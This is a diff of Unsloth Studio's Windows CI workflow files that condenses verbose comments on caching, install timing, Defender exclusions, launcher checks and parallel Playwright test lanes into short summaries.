+ # Cross-OS key: the hf-cache tree is byte-identical on every OS.
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
id: cache-hf
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -179,19 +136,8 @@ jobs:
bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and evict main's shared copies
+ # from the near-full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.prime-hf.outcome == 'success' && hashFiles('hf-cache/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -201,21 +147,13 @@ jobs:
- name: Pre-install Windows tweaks (npm 11 + Defender exclusions)
shell: pwsh
- # See studio-windows-update-smoke.yml for the full rationale.
- # tl;dr: setup.ps1 needs npm >=11 to skip a 35 s winget Node
- # reinstall, and Defender's real-time scan dominates the
- # frontend / uv-pip-extract steps.
+ # See studio-windows-update-smoke.yml: npm >= 11 and Defender exclusions.
run: |
$ProgressPreference = 'SilentlyContinue'
Write-Host "npm version before upgrade: $(npm -v)"
npm install -g 'npm@^11' 2>&1 | Out-Host
Write-Host "npm version after upgrade: $(npm -v)"
- # NOTE: do NOT pre-create these directories. See
- # studio-windows-update-smoke.yml for the full rationale --
- # creating an empty studio/frontend/dist trips setup.ps1's
- # mtime-based staleness check into "frontend up to date, skip
- # rebuild" and Unsloth boots with an empty dist directory.
- # Add-MpPreference accepts paths that do not yet exist.
+ # Do NOT pre-create these: an empty dist makes setup.ps1 skip the frontend rebuild.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
"$env:USERPROFILE\AppData\Local\uv",
@@ -231,9 +169,7 @@ jobs:
}
- name: Seed a legacy launch-studio.vbs (upgrade-cleanup check)
- # Simulate a pre-hardening install so the post-install assertion below
- # proves the installer DELETES an existing launch-studio.vbs (the exact
- # Kaspersky-flagged file), not merely stops generating it.
+ # Proves the installer DELETES an existing launch-studio.vbs, not merely stops creating it.
shell: pwsh
run: |
$appDir = Join-Path $env:LOCALAPPDATA 'Unsloth Studio'
@@ -241,16 +177,8 @@ jobs:
Set-Content -LiteralPath (Join-Path $appDir 'launch-studio.vbs') -Value 'WScript.Echo "legacy"' -Encoding Unicode
Write-Host "seeded legacy launch-studio.vbs at $appDir"
- # 96s of a ~257s install on Windows (`[72s] building frontend...` -> `[168s]
- # frontend built`, 37% of it), spent in five Windows jobs on every commit to
- # produce byte-identical output. The key hashes exactly the paths
- # studio/setup.ps1:3526-3549 checks before rebuilding, so a hit means the build
- # inputs are byte-identical; the action's own reasoning, and the assertion that
- # a hit was actually REUSED rather than rebuilt, live in
- # .github/actions/frontend-dist-restore and -save.
- # The uv download cache, which install-unsloth-local restores for the Linux and
- # macOS jobs and this hand-written pwsh install never had. install.ps1 preserves the
- # UV_CACHE_DIR the action exports; the key lives in .github/actions/uv-cache-restore.
+ # The dist key hashes the paths setup.ps1 checks before rebuilding (see
+ # .github/actions/frontend-dist-restore). install.ps1 preserves the exported UV_CACHE_DIR.
- name: Restore the uv download cache
id: uv-cache
uses: ./.github/actions/uv-cache-restore
@@ -260,10 +188,7 @@ jobs:
uses: ./.github/actions/frontend-dist-restore
- name: Install Unsloth (--local, --no-torch)
- # install.ps1 is the supported Windows installer. install.sh
- # has no Windows branch (apt-get / brew calls). The PS1
- # script's `Install-UnslothStudio @args` line at the bottom
- # forwards `--local --no-torch` correctly.
+ # install.sh has no Windows branch.
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -271,42 +196,23 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # install.ps1 runs as a CHILD process, not in-process. Its own
- # lines now go to [Console]::Out (Write-StudioLine), not the
- # Information stream, so an in-process `*>&1 | Tee-Object` would
- # put them on the step log and never in logs/install.log. As a
- # native command its stdout IS the pipeline, and the setup.ps1
- # grandchild inherits that handle, so its markers land in the log
- # too -- they used to bypass Tee-Object entirely.
- # -Command rather than -File: $ProgressPreference is a preference
- # variable, so it does not cross a process boundary on its own.
+ # install.ps1 runs as a CHILD process: its [Console]::Out output and setup.ps1's markers
+ # then reach Tee-Object. -Command because $ProgressPreference is not inherited.
$child = '$ErrorActionPreference = ''Stop''; $ProgressPreference = ''SilentlyContinue''; & ./install.ps1 --local --no-torch; exit $LASTEXITCODE'
- # Elapsed-seconds prefix, added to the STEP LOG only. Tee-Object writes
- # logs/install.log upstream of this filter, so the artifact keeps exactly
- # what install.ps1 produced and the readers of it are unaffected.
- #
- # install.ps1 and studio/setup.ps1 are deliberately untouched. This is a
- # display filter over a stream the step already pipes, so there is no
- # switch for the installer to interpret and no way for a real user's
- # install to behave differently from this one. The install costs 268-292s
- # here against 88s for the same install on Linux, and nothing in its
- # output says where that goes.
+ # Timestamps go to the step log only; logs/install.log keeps raw output.
$sw = [System.Diagnostics.Stopwatch]::StartNew()
pwsh -NoProfile -ExecutionPolicy Bypass -Command $child 2>&1 |
Tee-Object -FilePath logs/install.log |
ForEach-Object { '[{0,4:N0}s] {1}' -f $sw.Elapsed.TotalSeconds, $_ }
if ($LASTEXITCODE -ne 0) { throw "install.ps1 exited with code $LASTEXITCODE" }
- # Paired with the restore above: asserts the hit was reused (a `building
- # frontend` line after a hit fails the job -- otherwise the cache costs a
- # download, saves nothing, and still reports a hit), then saves on main only.
+ # Asserts a cache hit was reused (a `building frontend` line fails the job); saves on main.
- name: Save the built frontend
uses: ./.github/actions/frontend-dist-save
with:
cache-hit: ${{ steps.fe-dist.outputs.cache-hit }}
key: ${{ steps.fe-dist.outputs.key }}
- # Paired with the uv restore above: pruned to built wheels, saved on main only.
- name: Save the uv download cache
uses: ./.github/actions/uv-cache-save
with:
@@ -315,18 +221,11 @@ jobs:
- name: Assert install.ps1 used the Windows llama.cpp prebuilt
run: |
- # The filesystem is the authority here: setup.ps1's "prebuilt
- # installed and validated" reaches logs/install.log only because
- # install.ps1 is spawned as a child process, and a marker that
- # depends on process topology is a weak thing to gate on.
- # setup.ps1 writes UNSLOTH_PREBUILT_INFO.json next to the install
- # dir on success, and lays the binaries under build/bin/Release/
- # on Windows.
+ # The filesystem is the authority, not a log marker that depends on process topology.
STUDIO_HOME=~/.unsloth/studio
LLAMA_DIR=~/.unsloth/llama.cpp
INFO="$LLAMA_DIR/UNSLOTH_PREBUILT_INFO.json"
BIN="$LLAMA_DIR/build/bin/Release/llama-server.exe"
- # Source-build fallback grep stays as a fast bail-out.
if grep -q "falling back to source build" logs/install.log; then
echo "::error::install.ps1 fell back to source-build llama.cpp on Windows."
grep -E "llama-prebuilt|llama.cpp" logs/install.log | tail -60
@@ -347,10 +246,7 @@ jobs:
cat "$INFO"
- name: Assert Unsloth launcher chain (no VBS, hidden PowerShell shortcut)
- # The shortcut launch path is otherwise untested here (the steps below
- # boot `unsloth studio` directly). Guard against re-introducing the VBS
- # that tripped Kaspersky HEUR:Trojan.VBS.Agent.gen and against the .lnk
- # pointing anywhere other than hidden PowerShell over launch-studio.ps1.
+ # Guard against the Kaspersky-flagged VBS returning and check the .lnk target.
shell: pwsh
run: |
$appDir = Join-Path $env:LOCALAPPDATA 'Unsloth Studio'
@@ -376,11 +272,7 @@ jobs:
Write-Host "launcher chain OK (no VBS; hidden powershell over launch-studio.ps1)"
- name: Launch Unsloth via the shortcut and assert health
- # Run the exact command the .lnk stores (hidden PowerShell over
- # launch-studio.ps1) and confirm it brings the backend up. This is the
- # only step that proves the shortcut launch is not silently broken.
- # Default port range is 8888-8908; the later UI tests use 18896/18897, so
- # there is no conflict, and we tear this server down before they boot.
+ # Run the exact command the .lnk stores; ports do not clash with the later UI tests.
shell: pwsh
run: |
$lnk = Join-Path ([Environment]::GetFolderPath('Desktop')) 'Unsloth Studio.lnk'
@@ -401,7 +293,6 @@ jobs:
if ($foundPort) { break }
Start-Sleep -Seconds 1
}
- # Tear down the shortcut-launched server before the main UI tests boot.
try {
$owner = (Get-NetTCPConnection -LocalPort $foundPort -State Listen -ErrorAction Stop | Select-Object -First 1).OwningProcess
if ($owner) { taskkill /PID $owner /T /F 2>$null | Out-Null }
@@ -410,12 +301,7 @@ jobs:
Write-Host "Unsloth healthy on port $foundPort (launched via the shortcut)"
- name: Add Unsloth shim to GITHUB_PATH
- # install.ps1 puts unsloth.exe at $StudioHome\bin\unsloth.exe
- # and adds that dir to the User PATH via the Windows registry.
- # Registry-level PATH updates don't propagate to a running
- # Git Bash session, so the next step's `unsloth ...` invocation
- # would hit "command not found". Re-export the shim dir to
- # GITHUB_PATH so every subsequent step in this job sees it.
+ # Registry PATH updates do not reach a running Git Bash, so export via GITHUB_PATH.
run: |
SHIM_DIR=~/.unsloth/studio/bin
if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@@ -428,83 +314,30 @@ jobs:
echo "Added Unsloth shim dir to PATH: $(cygpath -w "$SHIM_DIR")"
- name: Install Playwright + Chromium
- # No --with-deps on Windows: that flag installs Linux apt
- # packages. windows-latest ships the system frameworks
- # Chromium needs (Edge / WebView2) already.
+ # No --with-deps on Windows (Linux apt only).
run: |
python -m pip install 'playwright>=1.45,<2'
python -m playwright install chromium
- # Two lanes, concurrently, on one runner.
- #
- # These five Playwright suites ran one after another for ~788s of a 20.6
- # minute job, 88% of it in steps over 60s, and this job was the last
- # finisher on every sampled commit where no macOS job ran. They are
- # disjoint -- each boots its own server and drives its own browser -- and
- # the ports were ALREADY distinct. The only thing forcing sequence was
- # shared state: boot-studio-api-only.sh hardcoded ~/.unsloth/studio/auth
- # and every "pass the bootstrap password" step read that same path back.
- # Teaching the script to honour UNSLOTH_STUDIO_HOME, the way its two
- # siblings have since #9158, is the whole enabling change.
- #
- # The lane bodies live in run-studio-ui-lane.sh, which documents the state
- # split and why there are two lanes and not five. Wait on BOTH before
- # failing: backgrounding defeats `set -e`, and without an explicit
- # wait-and-collect one lane's breakage hides the other's.
- #
- # AND BOUND BOTH. Nothing here used to have a deadline shorter than the
- # job's own 45 minutes. Every wait inside the suites is per-operation --
- # 60s default, 540s a turn, 1080s for the rapid-submit predicate -- and
- # five turns of a stalled model reach the job cap before any single one of
- # them fires. On the #9425 branch this step started at 04:33:01 and never
- # returned; the runner killed the job at its cap and GitHub recorded the
- # result as "cancelled", which `gh pr checks` renders as a failure and
- # which reads exactly like ordinary concurrency supersession. See
- # studio-backend-ci.yml, wedged the same way and bounded the same way.
- #
- # And it left nothing to read. The lane .out files are only cat'ed after
- # both `wait`s return, so a stalled step prints NOTHING while it stalls;
- # the `if: always()` artifact upload does not run when the runner kills
- # the job at its cap; and Python block-buffers stdout into a file, so the
- # buffer went down with the process. 48 minutes, no logs, no artifacts.
- #
- # So: `timeout` per lane, a heartbeat while they run, unbuffered stdout so
- # what they printed survives being killed, and the server log tailed next
- # to the lane log because a lane killed mid-turn is usually explained by
- # the llama-server it was driving. A lane that wedges now fails, names
- # itself, and leaves evidence, and its sibling still reports its own
- # result instead of being buried with it.
+ # Two lanes run concurrently, each with its own UNSLOTH_STUDIO_HOME and port (see
+ # run-studio-ui-lane.sh). Wait on both before failing. Each lane has a `timeout`, a
+ # heartbeat and unbuffered stdout, so a wedge fails, names itself and leaves logs.
- name: Drive the UI suites in two parallel lanes
- # Bounds the whole step below the job's 45m cap even if `timeout` itself
- # is defeated, and -- the point -- leaves room for "Upload Playwright
- # artifacts" to actually run. ~7m of prologue precedes this step.
+ # Below the 45m job cap so the artifact upload still runs.
timeout-minutes: 28
env:
GGUF_REPO: ${{ env.GGUF_REPO }}
GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
- # Block-buffered stdout is discarded when a wedged lane is killed,
- # which is the one run whose output is worth having.
+ # Block-buffered stdout is lost when a wedged lane is killed.
PYTHONUNBUFFERED: '1'
run: |
mkdir -p logs
- # The backstop, not the first line of defence: the suites' own wall
- # watchdogs should fire first and say which step they died on. 1500s
- # is 3.6x the measured lane wall (375s chat, 413s extra) and 3x the
- # slowest this step has ever been while succeeding (508s over 521
- # runs). The failures it is here for sat at 2900s. SIGINT first so a
- # suite can unwind and print the wait it was stuck on; SIGKILL 60s
- # later for the native Windows processes MSYS cannot signal politely.
- #
+ # Backstop after the suites' own watchdogs (~3x the slowest success). SIGINT first so a
+ # suite can print its stuck wait; SIGKILL 60s later for native Windows processes.
lane_timeout=1500
- # Which `timeout` matters here. C:\Windows\System32\timeout.exe is on
- # PATH too, with entirely different semantics (`timeout /t N`), and
- # this job prepends a shim directory to GITHUB_PATH -- so the bare
- # name is not safe to resolve. Prefer the absolute coreutils path,
- # accept a bare one that proves itself with --version (which System32
- # does not answer), and fail loudly rather than silently running the
- # lanes unbounded again: MinGit trims usr/bin, so this is worth
- # checking rather than assuming.
+ # System32\timeout.exe is also on PATH with different semantics, so require coreutils
+ # `timeout` (verified via --version) or fail loudly.
lane_timeout_bin=""
for candidate in /usr/bin/timeout timeout; do
if "$candidate" --version >/dev/null 2>&1; then
@@ -526,8 +359,7 @@ jobs:
pids="$pids $!:$lane"
done
- # Without this the step is silent for its entire duration, so a stall
- # is indistinguishable from progress while it is happening.
+ # Heartbeat so a stall is visible while it happens.
(
while sleep 60; do
for lane in chat extra; do
@@ -587,7 +419,5 @@ jobs:
logs/playwright_update_banner
logs/studio-permissions-*.log
logs/studio-indicator-*.log
- # 1 day, matching the repository-wide cap. A larger value here is
- # silently clamped to that cap today, so stating 7 only invites the
- # artifacts to re-inflate if the cap is ever raised.
+ # Repository-wide cap; larger values are silently clamped.
retention-days: 1
diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml
index 33b11bf3d0c..d73550017d5 100644
--- a/.github/workflows/studio-windows-update-smoke.yml
+++ b/.github/workflows/studio-windows-update-smoke.yml
@@ -1,21 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Windows counterpart to studio-update-smoke.yml /
-# studio-mac-update-smoke.yml. Verifies that on the FREE
-# windows-latest runner:
-#
-# 1. install.ps1 --local --no-torch installs Unsloth AND auto-fetches
-# the prebuilt llama.cpp Windows binary (app-<tag>-windows-x64-cpu
-# from unslothai/llama.cpp). Hitting the source-build fallback is
-# treated as an Unsloth bug -- Unsloth must always pick the
-# prebuilt on Windows.
-# 2. unsloth studio update --local is idempotent. Two consecutive
-# runs both report "prebuilt up to date and validated", no
-# source-build fallback. The CLI's _find_setup_script picks
-# setup.ps1 on Windows automatically.
-# 3. The installed Unsloth still boots and /api/health returns
-# healthy after the update path.
+# Windows update smoke: install.ps1 must pick the prebuilt llama.cpp, two updates must
+# report it validated, and the server must still boot.
name: Windows Unsloth Update CI
@@ -37,23 +24,14 @@ on:
- 'studio/setup.bat'
- 'studio/backend/requirements/**'
- 'pyproject.toml'
- # The two installer entrypoints above are not self-contained: these are their
- # first-order local imports, so a commit touching only one of them changes what
- # this workflow runs while matching none of the entrypoints. Invisible while the
- # push trigger was unfiltered, because every commit re-ran this after merge.
+ # First-order local imports of the installer entrypoints.
- 'studio/nvidia_probe.py'
- 'studio/prebuilt_core.py'
- # setup.sh runs this at setup.sh:5130 and setup.ps1 at setup.ps1:9025, so it is the
- # last executed edge of the installer chain that was not listed here.
- 'studio/backend/utils/**'
- 'studio/install_*.py'
- 'studio/node_prebuilt_pins.json'
- 'unsloth_cli/**'
- # frontend-dist-restore keys its cache on exactly these three globs, and a miss
- # makes the checked-out setup.ps1 run npm run build (setup.ps1:5060), so a
- # Windows-only build failure changes this job's verdict. Mirrors the cache key
- # rather than studio/frontend/**: the key excludes tests, scripts and e2e, and a
- # change confined to those cannot cause the miss that triggers the build.
+ # Mirrors the frontend-dist-restore cache key; a miss makes setup.ps1 run the build.
- 'studio/frontend/*'
- 'studio/frontend/src/**'
- 'studio/frontend/public/**'
@@ -105,9 +83,7 @@ jobs:
run:
shell: bash
env:
- # Force UTF-8 for stdio (Windows defaults to cp1252; hf
- # download / Unsloth CLI print "✓" checkmarks and crash
- # otherwise).
+ # Windows defaults to cp1252 and the tools print a non-ASCII checkmark.
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
steps:
@@ -126,23 +102,19 @@ jobs:
background: true
shell: pwsh
run: |
- # Propagate each child test's failure before continuing.
pwsh -NoProfile -File tests/studio/test_uninstall_arg_guard.ps1
if ($LASTEXITCODE) { exit $LASTEXITCODE }
pwsh -NoProfile -File tests/studio/test_uninstall_dual_install_icon.ps1
if ($LASTEXITCODE) { exit $LASTEXITCODE }
- # Both entry points prepend the 5.1 system module dir, and Refresh-Environment
- # must not reload PSModulePath back over it before the uv installer runs.
+ # Refresh-Environment must not reload PSModulePath over the prepended 5.1 module dir.
- name: PSModulePath normalization unit tests
id: ps-modulepath-units
background: true
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_psmodulepath_normalization.ps1
- # The guard is self-hosting, so launching it from powershell.exe covers
- # Windows PowerShell 5.1: the shell the README one-liner lands in, handled
- # nowhere else in CI, and it differs from pwsh 7 on native stderr.
+ # powershell.exe covers Windows PowerShell 5.1, which differs from pwsh 7 on native stderr.
- name: uninstall.ps1 argument guard under Windows PowerShell 5.1
id: ps51-uninstall-guard
background: true
@@ -158,52 +130,20 @@ jobs:
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.12'
- # Don't cache pip: install.ps1 + setup.ps1 go through uv
- # and never populate ~/.cache/pip; setup-python's post-step
- # then fatal-errors with "Cache folder path is retrieved
- # for pip but doesn't exist on disk".
+ # No pip cache: the installers use uv, and setup-python's post-step would fail.
- name: Pre-install Windows tweaks (npm 11 + Defender exclusions)
shell: pwsh
- # Two surgical fixes against measured Windows-only install
- # waste (vs Mac/Linux on the same SHA):
- #
- # (1) npm. setup.ps1's Get-NodeDecision requires Node 22.12+
- # (or 20.19+ / 23+) AND npm >=11 because Vite 8 needs both.
- # actions/setup-node@v4 with `node-version: '22'` lands
- # Node 22.22.2 + the npm 10.9.7 it bundles, so the decision
- # is "bundled" and setup.ps1 downloads an isolated Node (~30
- # MB) we don't need on a runner that already has a fine Node.
- # `npm install -g npm@^11` updates the runner's npm in-place
- # in ~5 s, flipping the decision to "system" so setup.ps1
- # reuses the existing Node with no download.
- #
- # (2) Defender. windows-latest's real-time scan opens / hashes
- # every file Unsloth writes during install (Vite output =
- # thousands of small chunks, uv pip = wheel-extraction =
- # thousands of small files). The latency dominates the
- # 200 s frontend build and the 90 s deps install. Adding
- # ExclusionPath entries for the directories the install
- # writes to drops per-file open latency from ~ms to ~us.
- # Add-MpPreference needs admin; the runneradmin user has
- # it, but wrap in try/catch so a permission flake leaves
- # the install otherwise unaffected.
+ # npm 11 flips setup.ps1's Node decision to "system" (Vite 8 needs npm >= 11), avoiding
+ # a Node download. Defender exclusions remove per-file scan latency on the install dirs;
+ # wrapped in try/catch so a permission flake does not break the install.
run: |
$ProgressPreference = 'SilentlyContinue'
Write-Host "npm version before upgrade: $(npm -v)"
npm install -g 'npm@^11' 2>&1 | Out-Host
Write-Host "npm version after upgrade: $(npm -v)"
- # NOTE: do NOT pre-create these directories before adding the
- # exclusion -- creating an empty studio/frontend/dist trips
- # setup.ps1 line 1281-1296's mtime-based "is the frontend
- # stale?" check into "up to date, skip rebuild", because the
- # newly-created dist's mtime is younger than every source
- # file. Unsloth then boots with an empty dist and 500s on
- # GET / with FileNotFoundError: dist\index.html. See run
- # 25546676715 / job 74984469728.
- # Add-MpPreference accepts paths that do not yet exist; the
- # exclusion is registered and applies when the path
- # materialises.
+ # Do NOT pre-create these: a fresh empty dist is newer than every source, so setup.ps1
+ # skips the rebuild. Add-MpPreference accepts paths that do not exist yet.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
"$env:USERPROFILE\AppData\Local\uv",
@@ -218,16 +158,8 @@ jobs:
}
}
- # 96s of a ~257s install on Windows (`[72s] building frontend...` -> `[168s]
- # frontend built`, 37% of it), spent in five Windows jobs on every commit to
- # produce byte-identical output. The key hashes exactly the paths
- # studio/setup.ps1:3526-3549 checks before rebuilding, so a hit means the build
- # inputs are byte-identical; the action's own reasoning, and the assertion that
- # a hit was actually REUSED rather than rebuilt, live in
- # .github/actions/frontend-dist-restore and -save.
- # The uv download cache, which install-unsloth-local restores for the Linux and
- # macOS jobs and this hand-written pwsh install never had. install.ps1 preserves the
- # UV_CACHE_DIR the action exports; the key lives in .github/actions/uv-cache-restore.
+ # The dist key hashes the paths setup.ps1 checks before rebuilding (see
+ # .github/actions/frontend-dist-restore). install.ps1 preserves the exported UV_CACHE_DIR.
- name: Restore the uv download cache
id: uv-cache
uses: ./.github/actions/uv-cache-restore
@@ -247,37 +179,22 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # install.ps1 runs as a CHILD process so its stdout is pipeline
- # input; in-process its Write-StudioLine output goes straight to
- # [Console]::Out and skips Tee-Object. See studio-windows-ui-smoke.yml
- # for the full explanation.
+ # install.ps1 runs as a CHILD process so its [Console]::Out output reaches Tee-Object.
$child = '$ErrorActionPreference = ''Stop''; $ProgressPreference = ''SilentlyContinue''; & ./install.ps1 --local --no-torch; exit $LASTEXITCODE'
- # Elapsed-seconds prefix, added to the STEP LOG only. Tee-Object writes
- # logs/install.log upstream of this filter, so the artifact keeps exactly
- # what install.ps1 produced and the readers of it are unaffected.
- #
- # install.ps1 and studio/setup.ps1 are deliberately untouched. This is a
- # display filter over a stream the step already pipes, so there is no
- # switch for the installer to interpret and no way for a real user's
- # install to behave differently from this one. The install costs 268-292s
- # here against 88s for the same install on Linux, and nothing in its
- # output says where that goes.
+ # Timestamps go to the step log only; logs/install.log keeps raw output.
$sw = [System.Diagnostics.Stopwatch]::StartNew()
pwsh -NoProfile -ExecutionPolicy Bypass -Command $child 2>&1 |
Tee-Object -FilePath logs/install.log |
ForEach-Object { '[{0,4:N0}s] {1}' -f $sw.Elapsed.TotalSeconds, $_ }
if ($LASTEXITCODE -ne 0) { throw "install.ps1 exited with code $LASTEXITCODE" }
- # Paired with the restore above: asserts the hit was reused (a `building
- # frontend` line after a hit fails the job -- otherwise the cache costs a
- # download, saves nothing, and still reports a hit), then saves on main only.
+ # Asserts a cache hit was reused (a `building frontend` line fails the job); saves on main.
- name: Save the built frontend
uses: ./.github/actions/frontend-dist-save
with:
cache-hit: ${{ steps.fe-dist.outputs.cache-hit }}
key: ${{ steps.fe-dist.outputs.key }}
- # Paired with the uv restore above: pruned to built wheels, saved on main only.
- name: Save the uv download cache
uses: ./.github/actions/uv-cache-save
with:
@@ -286,8 +203,7 @@ jobs:
- name: Assert install.ps1 used the Windows llama.cpp prebuilt
run: |
- # Filesystem-based check: it does not depend on which process
- # emitted a marker.
+ # Check the filesystem, not a marker from a particular process.
LLAMA_DIR=~/.unsloth/llama.cpp
INFO="$LLAMA_DIR/UNSLOTH_PREBUILT_INFO.json"
BIN="$LLAMA_DIR/build/bin/Release/llama-server.exe"
@@ -326,12 +242,7 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
- # Elapsed-seconds prefix on the step log only; logs/update.log is written by
- # `tee` upstream of the filter and is unchanged. This step is the reason
- # the timing was worth adding at all: a no-op update over an already
- # complete install costs 297s, MORE than the 281s full install it follows,
- # which is the opposite of what a download-bound update does. Nothing in
- # its output says which phase that is.
+ # Timestamps go to the step log only; logs/update.log is unchanged.
unsloth studio update --local 2>&1 \
| tee logs/update.log \
| while IFS= read -r line || [ -n "$line" ]; do
@@ -351,12 +262,8 @@ jobs:
- name: Update must keep the --no-torch install GGUF-only
run: |
- # `unsloth studio update` exports no UNSLOTH_NO_TORCH, so setup.ps1 has
- # to recover the mode from the install manifest. Without that it reads
- # the missing torch as a stale venv and tries to delete the venv it is
- # running out of, and the shared dependency pass pulls torch back in.
- # The skip line only prints when the dependency pass actually runs, so
- # don't demand it if the fast path short-circuited that pass.
+ # setup.ps1 must recover --no-torch from the manifest or it deletes its own venv. The skip
+ # line only prints when the dependency pass runs.
if grep -q "running ordered dependency installation" logs/update.log \
&& ! grep -q "skipping direct PyTorch and Triton installation (no-torch mode)" logs/update.log; then
echo "::error::studio update left no-torch mode; it would reinstall PyTorch."
@@ -381,12 +288,7 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
- # Elapsed-seconds prefix on the step log only; logs/update2.log is written by
- # `tee` upstream of the filter and is unchanged. This step is the reason
- # the timing was worth adding at all: a no-op update over an already
- # complete install costs 297s, MORE than the 281s full install it follows,
- # which is the opposite of what a download-bound update does. Nothing in
- # its output says which phase that is.
+ # Timestamps go to the step log only; logs/update2.log is unchanged.
unsloth studio update --local 2>&1 \
| tee logs/update2.log \
| while IFS= read -r line || [ -n "$line" ]; do
@@ -405,16 +307,7 @@ jobs:
> logs/studio.log 2>&1 &
PID=$!
HEALTHY=""
- # Use jq (a Git Bash builtin) instead of `python -c
- # open('/tmp/health.json')` to read the saved health
- # response. Bash on windows-latest is MSYS Git Bash, which
- # resolves `/tmp/...` against the MSYS root, while the
- # python interpreter is Windows-native and resolves it
- # against the current drive's root. The two paths don't
- # agree, so python never finds the file curl just wrote.
- # jq reads through MSYS, so the path matches. Mirrors what
- # studio-windows-api-smoke.yml and the other Windows smoke
- # workflows already do.
+ # jq, not python: MSYS and native Windows resolve `/tmp` to different directories.
for i in $(seq 1 60); do
if curl -fs http://127.0.0.1:18891/api/health > /tmp/health.json; then
if jq -e '.status == "healthy"' /tmp/health.json >/dev/null; then
@@ -434,13 +327,7 @@ jobs:
echo "post-update Unsloth /api/health OK"
- name: Uninstall and verify clean
- # Round-trip through scripts/uninstall.ps1 against the default
- # install tree at %USERPROFILE%\.unsloth\studio. Catches
- # regressions where install.ps1 starts writing under a new key
- # (registry, Start Menu, %APPDATA%) and scripts/uninstall.ps1 has
- # not been updated to match. Skips gracefully if
- # scripts/uninstall.ps1 has not landed yet (lets this workflow
- # merge before #5513).
+ # Round-trip scripts/uninstall.ps1 to catch new install locations it misses.
shell: pwsh
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
@@ -467,10 +354,7 @@ jobs:
$leak++
}
}
- # Catch-all that does not need updating when a new artifact is added:
- # nothing but Unsloth writes under ~/.unsloth on a runner, so a
- # surviving directory means the uninstaller missed something. Mirrors
- # the POSIX check in studio-update-smoke.yml.
+ # Nothing but Unsloth writes under ~/.unsloth, so anything left was missed.
if (Test-Path -LiteralPath "$env:USERPROFILE\.unsloth") {
Write-Host "::error::leak: ~/.unsloth survived the uninstall"
Get-ChildItem -LiteralPath "$env:USERPROFILE\.unsloth" -Force -Recurse -ErrorAction SilentlyContinue |
@@ -478,7 +362,6 @@ jobs:
$leak++
}
if ($leak -gt 0) { exit 1 }
- # Idempotency.
pwsh -NoProfile -File "$PWD\scripts\uninstall.ps1" *>&1 | Select-Object -Last 5
pwsh -NoProfile -File "$PWD\scripts\uninstall.ps1" *>&1 | Select-Object -Last 5
Write-Host "PASS: windows install -> update -> uninstall round-trip clean"
diff --git a/.github/workflows/studiobench-ci.yml b/.github/workflows/studiobench-ci.yml
index b57ddc5b33e..b908d265a7f 100644
--- a/.github/workflows/studiobench-ci.yml
+++ b/.github/workflows/studiobench-ci.yml
@@ -1,33 +1,9 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Keep `studiobench` working, so that the day someone needs to measure an Unsloth
-# performance regression the tool is not itself the thing that needs fixing.
-#
-# WHAT THIS WORKFLOW DELIBERATELY DOES NOT DO: gate on a timing. A shared
-# two-core GitHub runner cannot resolve the effects studiobench measures. The
-# detection floors this tool derives on a quiet 100-core box are already wider
-# than most of the real effects found in a 40-PR audit, and a floor measured
-# under one contention level does not transfer to another. A workflow that
-# asserted "the message menu opens in under N ms" would be red on a noisy
-# runner and green on a quiet one, everyone would learn to re-run it, and the
-# signal would be worth less than nothing.
-#
-# So this gates on STRUCTURE, which is stable everywhere:
-#
-# selftests the package's own 338 tests, ruff, --doctor, and the single-file
-# zipapp build that external testers actually download
-# liveness a real session at the smallest rung, asserting that every
-# scheduled action RAN
-#
-# The second is the one that matters. Three separate times, in three separate
-# subsystems, this harness produced a confident "no effect" from code that could
-# never fire: four scene actions that recorded NOT RUN on 312 of 312 attempts
-# because their slots opened while a follow-up turn was still streaming; a
-# surface crawler that would have digested the same mounted root 53 times; an
-# overlay walk that could not fire at all. Every one of them exited 0. A gate on
-# the exit code catches none of them, and `--assert-liveness` catches all three
-# shapes.
+# Keeps studiobench working. Gates on STRUCTURE, never timing (a shared runner cannot
